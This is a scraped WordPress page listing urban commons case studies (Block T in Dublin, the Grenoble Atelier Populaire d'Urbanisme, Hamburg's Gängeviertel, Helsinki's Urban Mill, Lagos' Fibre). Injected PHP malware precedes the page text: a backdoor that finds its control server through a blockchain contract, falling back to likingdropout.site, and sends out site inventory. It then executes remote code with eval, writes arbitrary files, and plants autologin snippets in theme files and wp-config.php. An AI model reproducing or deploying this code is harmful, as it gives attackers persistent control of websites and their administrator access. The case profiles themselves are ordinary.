// yi_s8 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/designan/public_html/wp-content/plugins/wp-helper-ac22ee/wp-helper-ac22ee.php', 'ctrl'=>'// yi_s8', 'vis'=>'// tj_pd', 'vis_func'=>'wp_ma27du', 'vis_paths'=>array('/home/designan/public_html/wp-content/plugins/wp-helper-ac22ee/wp-helper-ac22ee.php'), 'opt'=>'_wp_90vcagx5', ); $keys=array(); $keys['id']='e4p'; $keys['ver']='c9'; $keys['caps']='ygo'; $keys['tasks']='rq1'; $keys['interval']='pz4'; $keys['ack_id']='z9i'; $keys['ok']='ob'; $keys['detail']='6uo'; $keys['inv']='sva'; $keys['result']='yny'; $hdr='X-FPI-Auth';$tok='G4Vc2Cic-RJtt_WQ0HKVeUc2UX4RHXQsBIbLExdKOcg';$id='702db71d67d13573';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Other Cases | DesignForCommons
Dublin – Block T

Dublin – Block T


Credits: Picture from the journal.ie
Country Ireland
City Dublin
Name Block T
Date 2010
Description BLOCK T is an independent artistic enterprise based in Smithfield, Dublin 7 since 2010. It is founded on the belief that creativity enriches people’s lives.

BLOCK T aspires to influence societal change through cultural engagement.

From having only 12 artist studios, it has grown into a 26,000 square ft studio and workshop space with Hotdesks, Classrooms, Photography Darkroom, Meeting Rooms and over 70 creative studio spaces that currently house over 120 Members.

Over the past five years they have produced over 700 projects, workshops, events and exhibitions that have engaged with over 800 artists and Members. They have welcomed over 150,000 visitors to their buildings and the Smithfield area through their facilities, cultural programming and Skillsets, an alternative learning platform. Education is also central to their institution, for which they have mentored and consulted over 5,000 hours to students, creative individuals, businesses and organisations.

Collaboration is a cornerstone of their business strategy. They have collaborated with and facilitated local businesses, colleges, non for profits and other art and cultural organisations.

Urban Co-Governance Moderate
Enabling State Weak
Pooling Strong
Experimentalism Moderate
Tech Justice Moderate
Website https://www.blockt.ie/about
References, sources, contact person(s) Website ; BLOCK T Dublin. (2018) retrieved from the website.

Contact : info@blockt.ie

dublin

Grenoble – Atelier Populaire d’Urbanisme and Urban Commons Working Group

Grenoble – Atelier Populaire d’Urbanisme and Urban Commons Working Group


Credits: picture and logo from http://assoplanning.org/atelier-populaire-durbanisme-apu/
Country France
City Grenoble
Name Ateliers Populaire d’Urbanisme and Urban Commons Working Group
Date 2012
Description of the project The Atelier Populaire d’Urbanisme de la Villeneuve is an initiative launched in the Fall of 2012 by a citizens movement in order to build an alternative urban regeneration project in Villeneuve in the city of Grenoble.

Organized as a big working group that gathers the inhabitants of the neighborhood, it was created as a result of the refusal of the top-down planning practices of the City of Grenoble.

In 2013, many workshops have started to formulate a new democratic urban project. In the following years, the Ateliers have continued fighting to stop a certain number of contracts and deliberations passed by the old local administration and to design a new vision for the neighborhood. The APU organizes Urban Commons Working Group.

Moreover, on an effort to co-build the neighborhood, the association has organized meetings every week in order to discuss about monthly thematic subjects concerning the new development (housing, environment, cultural and sport activities etc.). The Ateliers plays a central role still today in the fight for a more democratic urban planning. Through workshops, conferences, festivals, and mobilizations, it engages with citizens demands and empowers neighborhoods in the face of big development projects that do not take into account the citizens’ demands.

Urban Co-Governance Moderate
Enabling State Weak
Pooling Weak
Experimentalism Moderate
Tech Justice Moderate
Project Website http://assoplanning.org/atelier-populaire-durbanisme-apu/
References, sources, contact person(s) Contact : planning@zaclys.net and Facebook page: https://www.facebook.com/APUvilleneuve/

Grenoble

Hamburg – Gängeviertel

Hamburg – Gängeviertel

Image source : http://das-gaengeviertel.info/
Country Germany
City Hamburg
Name Gängeviertel
Date 2009
Description The Gängeviertel is a complex in inner city Hamburg composed of 12 buildings. Once workers housing left abandoned for years, the buildings were sold to leave space for a new development. Citizens and activists mobilized in August 2009 and entered the Gängeviertel in order to save it from decay and demolition, showing that another future for the inner city was possible.

In 2010, citizens presented a proposal for the redevelopment and usage of the area to the City of Hamburg and they have been negotiating ever since.

An Association of the Gängeviertel has been officially established and and through the “Komm in die Gänge” (get in your gears) Initiative the cooperative “Gängeviertel eG” has been founded for the conservation of this historic quarter, in order to secure the future of this area independently from political changes.

The inner city complex has been visited by tens of thousands tourists, artists, and activists from all over the world, who attend the art exhibitions, concerts, love readings, and discussion organized in the Gängeviertel.

The aim of the initiative is to create in Hamburg’s downtown an area for the promotion of the arts, culture, and talks, both in studios, in apartments, or in social projects.

Urban Co-Governance Moderate
Enabling State Strong
Pooling Moderate
Experimentalism Moderate
Tech Justice N/A
Website http://das-gaengeviertel.info/
References, sources, contact person(s) Website

Contact : info@das-gaengeviertel.info 

hamburg

Helsinki – Urban Mill

Helsinki – Urban Mill


Image Credits: © Urban Mill
Country Finland
City Helsinki
Name Urban Mill
Date 2013
Description Urban Mill is an incubator for urban innovations located in Aalto University campus, on the periphery of Helsinki, as part of the Smart City movement in the Metropolitan Region of Helsinki.

Opened in 2013, Urban Mill is a former factory transformed into a large co-working and co-creation space. This platform brings together local and international research labs and start-ups working on projects related to the built environment, the ubiquitous and responsive city, urban services and urban life transformation. Here, innovation actors collaborate, test their prototypes, present their projects and debate with citizens, meet potential investors and much more.

(https://citiesintransition.eu/place/urban-mill)

Urban Mill brings urban developers together with residents and other users of the urban environment. Public and private sector institutions, researchers, new entrepreneurs and students have a place to share ideas with the users of the built environment. Urban Mill is a venue for events and a smart co-working space for entrepreneurs and developers. Simultaneously, Urban Mill is an innovation accelerator that is connected to other spaces needed by the community.

 

How does it work and who participates?

 

The main partners of the program are the City of Espoo and Aalto University. A private company is responsible for developing the Urban Mill concept, operating the space and arranging the services. To give you some numbers, during the pilot phase 2013-2014, 25,000+ people participated in 1,000+ registered events; 5,000+ visitors from Finland and Abroad; 500+ pioneers participated in development; 300+ organisations and projects as users; 50+ proto/demo/startups through Living lab process.

All in all, Urban Mill operations have involved a total of more than 50 000 participants, 1500 events, 1000 users, 500 organizations. Urban Mill has helped to experiment 100 prototypes and to increase its 50 start-up companies.

Urban Co-Governance Moderate
Enabling State Strong
Poolism Strong
Experimentalism Moderate
tech Justice Moderate
Website https://urbanmill.org/

https://citiesintransition.eu/place/urban-mill

References, sources, contact person(s) https://citiesintransition.eu/place/urban-mill

Contact :

Kari Mikkelä, Ececutive Producer
kari.mikkela@urbanmill.fi
+358 50 500 4048

Lars Miikki, Producer
lars.miikki@urbanmill.fi
+358 40 503 6630

Helsinki

Lagos – Fibre

Lagos – Fibre

 Credit : https://fibre.ng/

Country Nigeria
City Lagos
Name Fibre
Date 2016
Description of the project
Fibre is a service that allows professionals in Lagos to live in quality homes and pay monthly. This is as opposed to the one / two year upfront rent payments that are the norm in Nigeria today. In some locations, they have introduced shared housing to create a more affordable option for young professionals.
With the payment of a membership it is allowed to live in the locations that they offer and pay monthly. It also means you can seamlessly move into another location, should your living requirements change.
Urban Co-Governance Weak
Enabling State Moderate
Pooling Moderate
Experimentalism Weak
Tech Justice Weak
Project Website https://fibre.ng/
References, sources, contact person(s) Website : https://fibre.ng/

Contact : info@fibre.ng

Lagos